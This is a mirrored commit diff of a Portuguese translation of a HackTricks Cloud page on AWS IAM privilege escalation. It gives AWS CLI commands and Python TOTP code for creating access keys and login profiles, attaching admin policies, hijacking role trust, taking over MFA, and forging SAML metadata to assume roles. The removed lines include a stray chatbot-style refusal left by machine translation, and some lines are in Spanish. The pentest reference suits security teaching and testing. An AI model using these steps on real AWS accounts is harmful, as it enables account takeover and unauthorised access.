gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-05-26 18:09:15 +00:00
parent d6643d95ed
commit 1aecdbfc0e
1 changed files with 85 additions and 88 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+85 -88
View File
@@ -4,7 +4,7 @@
## IAM
Para mais informações sobre IAM, consulte:
Para mais informações sobre IAM, verifique:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,89 +12,108 @@ Para mais informações sobre IAM, consulte:
### **`iam:CreatePolicyVersion`**
Concede a capacidade de criar uma nova versão de policy do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
Concede a capacidade de criar uma nova versão de uma IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` usando a flag `--set-as-default`. Isso permite definir permissões customizadas.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impacto:** Eleva privilégios diretamente ao permitir qualquer ação em qualquer recurso.
**Impact:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
### **`iam:SetDefaultPolicyVersion`**
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente elevando privilégios se a nova versão tiver mais permissões.
Permite alterar a versão padrão de uma IAM policy para outra versão existente, podendo escalar privilégios se a nova versão tiver mais permissões.
**Comando Bash:**
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impacto:** privilege escalation indireta ao permitir mais permissões.
**Impact:** Escalonamento de privilégios indireto ao habilitar mais permissões.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Permite criar access key ID e secret access key para outro usuário, levando a uma potencial privilege escalation.
Permite criar access key ID e secret access key para outro usuário, levando a potencial escalonamento de privilégios.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
**Impact:** Escalada de privilégio direta ao assumir as permissões estendidas de outro usuário.
Observe que um usuário pode ter apenas 2 access keys criadas, então se um usuário já tiver 2 access keys você precisará da permissão `iam:DeleteAccessKey` para excluir uma delas e poder criar uma nova:
Observe que um usuário só pode ter 2 access keys criadas, então se um usuário já tiver 2 access keys você vai precisar da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se você conseguir criar um novo dispositivo virtual MFA e habilitá-lo em outro usuário, você pode efetivamente registrar seu próprio MFA para esse usuário e então solicitar uma sessão com suporte de MFA usando as credenciais dele.
Se você pode criar um novo dispositivo virtual MFA e habilitá-lo em outro usuário, você pode efetivamente cadastrar seu próprio MFA para esse usuário e então solicitar uma sessão com MFA para as credenciais dele.
**Pré-requisitos:**
Você pode usar qualquer tool que quiser para os códigos TOTP - oathtool é fácil e leve.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** direct privilege escalation ao assumir a inscrição do MFA de um usuário (e então usar suas permissões).
**Authenticate:**
Uma vez que você tenha uma sessão básica como o usuário alvo, você pode usar o security token service para obter um token com suporte de MFA.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**Impact:** Escalada de privilégios direta ao assumir o enrollment de MFA de um usuário (e depois usar as permissões dele).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permite criar ou atualizar um perfil de login, incluindo definir senhas para acesso ao console AWS, levando a direct privilege escalation.
Permite criar ou atualizar um login profile, incluindo definir senhas para login no AWS console, levando à escalada de privilégios direta.
**Exploit para Criação:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit para Atualização:**
**Exploit para Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impacto:** Escalada de privilégios direta ao efetuar login como qualquer usuário.
**Impact:** Escalada de privilégio direta ao fazer login como "qualquer" usuário.
### **`iam:UpdateAccessKey`**
Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.
Permite habilitar uma access key desabilitada, potencialmente levando a acesso não autorizado se o atacante possuir a key desabilitada.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impacto:** Escalada direta de privilégios ao reativar access keys.
**Impact:** Escalada de privilégio direta ao reativar access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permite gerar ou redefinir credenciais para serviços específicos da AWS (mais comumente CodeCommit). Estas **não** são AWS API keys: são credenciais **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.
Permite gerar ou redefinir credenciais para serviços específicos da AWS (mais comumente **CodeCommit**). Essas **não** são AWS API keys: são credenciais de **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.
**Criação:**
**Creation:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
Salvar:
Salve:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
@@ -114,41 +133,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo normalmente é o mais fácil. Se você a incorporar em uma URL, codifique-a em URL primeiro.
> Note: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo geralmente é o mais fácil. Se você a incorporar em uma URL, faça primeiro o URL-encode.
Neste ponto você pode ler tudo o que o usuário alvo pode acessar em CodeCommit (por exemplo, a leaked credentials file). Se você recuperar **AWS access keys** do repo, configure um novo perfil do AWS CLI com essas chaves e então acesse recursos (por exemplo, read a flag from Secrets Manager):
Neste ponto, você pode ler tudo o que o usuário alvo consegue acessar no CodeCommit (por exemplo, um arquivo de credenciais leakado). Se você recuperar **AWS access keys** do repo, configure um novo profile do AWS CLI com essas keys e então acesse recursos (por exemplo, leia uma flag do Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Redefinir:**
**Redefinição:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impacto:** Escalada de privilégios para as permissões do usuário alvo para o serviço em questão (e potencialmente além se você fizer pivot usando dados recuperados desse serviço).
**Impact:** Escalada de privilégio nas permissões do usuário alvo para o serviço dado (e potencialmente além, se você pivotar usando dados recuperados desse serviço).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permite anexar políticas a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da política anexada.
Permite anexar policies a usuários ou groups, escalando privilégios diretamente ao herdar as permissões da policy anexada.
**Exploit para Usuário:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit para Grupo:**
**Exploit para Group:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impacto:** Escalada direta de privilégios para qualquer coisa que a política conceda.
**Impact:** Escalada de privilégios direta para qualquer coisa que a policy conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permite anexar ou atribuir políticas a funções, usuários ou grupos, possibilitando escalada direta de privilégios ao conceder permissões adicionais.
Permite anexar ou adicionar policies a roles, usuários ou grupos, possibilitando escalada de privilégios direta ao conceder permissões adicionais.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit for Inline Policies:**
**Exploit para Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -159,7 +178,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Você pode usar uma política como:
Você pode usar uma policy como:
```json
{
"Version": "2012-10-17",
@@ -172,28 +191,28 @@ Você pode usar uma política como:
]
}
```
**Impact:** Escalação direta de privilégios ao adicionar permissões através de políticas.
**Impact:** Escalada de privilégio direta adicionando permissões por meio de policies.
### **`iam:AddUserToGroup`**
Permite adicionar-se a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
**Exploração:**
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impacto:** Direct privilege escalation ao nível das permissões do grupo.
**Impact:** Escalação de privilégios direta para o nível das permissões do grupo.
### **`iam:UpdateAssumeRolePolicy`**
Permite alterar o documento assume role policy de uma role, permitindo a assunção da role e suas permissões associadas.
Permite alterar o documento de política de assume role de uma role, possibilitando assumir a role e suas permissões associadas.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando a política tiver a aparência a seguir, o que dá ao usuário permissão para assumir a função:
Onde a policy parece o seguinte, que dá ao usuário permissão para assumir o role:
```json
{
"Version": "2012-10-17",
@@ -208,38 +227,38 @@ Quando a política tiver a aparência a seguir, o que dá ao usuário permissão
]
}
```
**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.
**Impact:** Escalada de privilégios direta ao assumir as permissões de qualquer role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégios indireta.
Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a potencial escalada de privilégios indireta.
**Exploração para upload de chave SSH:**
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit para Desativação de MFA:**
**Exploit for MFA Deactivation:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impacto:** Escalada indireta de privilégios ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
**Impact:** Escalada de privilégios indireta ao habilitar acesso ao CodeCommit ou desativar a proteção MFA.
### **`iam:ResyncMFADevice`**
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada indireta de privilégios ao manipular a proteção MFA.
Permite a ressynchronization de um dispositivo MFA, potencialmente levando a escalada de privilégios indireta ao manipular a proteção MFA.
**Comando Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Escalada de privilégios indireta ao adicionar ou manipular dispositivos MFA.
**Impact:** escalada indireta de privilégios adicionando ou manipulando dispositivos MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **federação SAML** para **iniciar sessão** com qualquer **role que a confie**.
Com essas permissões, você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **login** com qualquer **role** que confie nela.
Note que ao fazer isso **usuários legítimos não conseguirão iniciar sessão**. No entanto, você pode obter o XML, substituí‑lo pelo seu, iniciar sessão e restaurar a configuração anterior.
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você pode obter o XML, então pode colocar o seu, fazer login e configurar o anterior de volta
```bash
# List SAMLs
aws iam list-saml-providers
@@ -255,9 +274,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**Ataque de ponta a ponta:**
**Ataque end-to-end:**
1. Enumere o provedor SAML e um role que confia nele:
1. Enumere o provedor SAML e uma role que confia nele:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forjar IdP metadata + uma SAML assertion assinada para o par role/provider:
2. Forge IdP metadata + uma signed SAML assertion para o par role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -485,7 +504,7 @@ main()
```
</details>
3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma a função e use as credenciais STS retornadas:
3. Atualize os metadados do provedor SAML para o seu certificado IdP, assuma o role e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Limpeza: restaurar metadados anteriores:
4. Cleanup: restaurar metadata anterior:
```bash
python3 - <<'PY'
import json
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Atualizar os metadados do provedor SAML é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir autenticar.
> Atualizar metadados do provedor SAML é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir se autenticar.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as roles que confiam no provider.
(Inseguro sobre isso) Se um atacante tiver essas **permissions** ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todos os roles que confiam no provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Esta permissão permite a um atacante atualizar o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissões existentes.
Essa permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas por suas permissões existentes.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,29 +569,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera a boundary de uma role: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar uma boundary permissiva, ampliar efetivamente o que a role pode fazer e escalar privilégios.
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em um role existente. O risco surge quando alguém com essa permissão altera o boundary de um role: pode restringir indevidamente operações (causando interrupção do serviço) ou, se anexar um boundary permissivo, expandir efetivamente o que o role pode fazer e escalar privilégios.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuário IAM alvo, substituindo ou contornando o MFA original da vítima. Usando a seed desse MFA controlado pelo atacante, ele gera one-time passwords válidas e solicita um MFA-authenticated session token via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporárias como a vítima, completando efetivamente o account takeover mesmo que o MFA esteja em vigor.
O atacante cria um virtual MFA device sob seu controle e o anexa ao IAM user alvo, substituindo ou contornando o MFA original da vítima. Usando o seed desse MFA controlado pelo atacante, ele gera valid one-time passwords e solicita um MFA-authenticated session token via STS. Isso permite ao atacante satisfazer o requisito de MFA e obter temporary credentials como a vítima, concluindo efetivamente o account takeover mesmo com MFA enforced.
Se o usuário alvo já tiver MFA, desative-o (`iam:DeactivateMFADevice`):
Se o target user já tiver MFA, desative-o (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Criar um novo dispositivo MFA virtual (escreve a seed em um arquivo)
Criar um novo virtual MFA device (grava o seed em um arquivo)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Gere dois códigos TOTP consecutivos a partir do arquivo seed:
Gere dois códigos TOTP consecutivos a partir do arquivo de seed:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +611,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Ative o dispositivo MFA no usuário alvo, substitua MFA_SERIAL_ARN, CODE1, CODE2:
Habilite o dispositivo MFA no usuário alvo, substitua MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,29 +619,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Não posso gerar um token STS válido para você — isso exige o segredo compartilhado (MFA/TOTP secret) que só você possui. Posso, contudo, mostrar como gerar o código atual localmente e como usá‑lo com aws sts.
Como obter o código TOTP atual
- Usando um app autenticador (Google Authenticator, Authy, Microsoft Authenticator): abra o app e leia o código de 6 dígitos daquele entry.
- Usando oathtool (CLI):
- Instale: por exemplo, em Linux: apt install oathtool (ou brew install oath-toolkit).
- Gere: oathtool --totp -b "BASE32SECRET"
- Usando Python + pyotp:
- pip install pyotp
- Exemplo:
import pyotp
totp = pyotp.TOTP("BASE32SECRET")
print(totp.now())
Substitua "BASE32SECRET" pela sua chave base32 do MFA.
Como usar o código com aws sts
- Com aws cli (exemplo):
aws sts get-session-token --duration-seconds 3600 --serial-number arn:aws:iam::123456789012:mfa/username --token-code 123456
Onde --token-code é o código TOTP atual (6 dígitos) gerado pelo seu autenticador.
Observações importantes
- O código TOTP muda a cada 30s; garanta relógio do sistema sincronizado (NTP).
- Nunca compartilhe sua BASE32SECRET nem códigos TOTP com terceiros.
Gere um token code atual (para STS)
```python
import base64, hmac, hashlib, struct, time
@@ -637,7 +634,7 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copie o valor impresso como TOKEN_CODE e solicite um token de sessão com MFA (STS):
Copie o valor impresso como TOKEN_CODE e solicite um session token com MFA (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \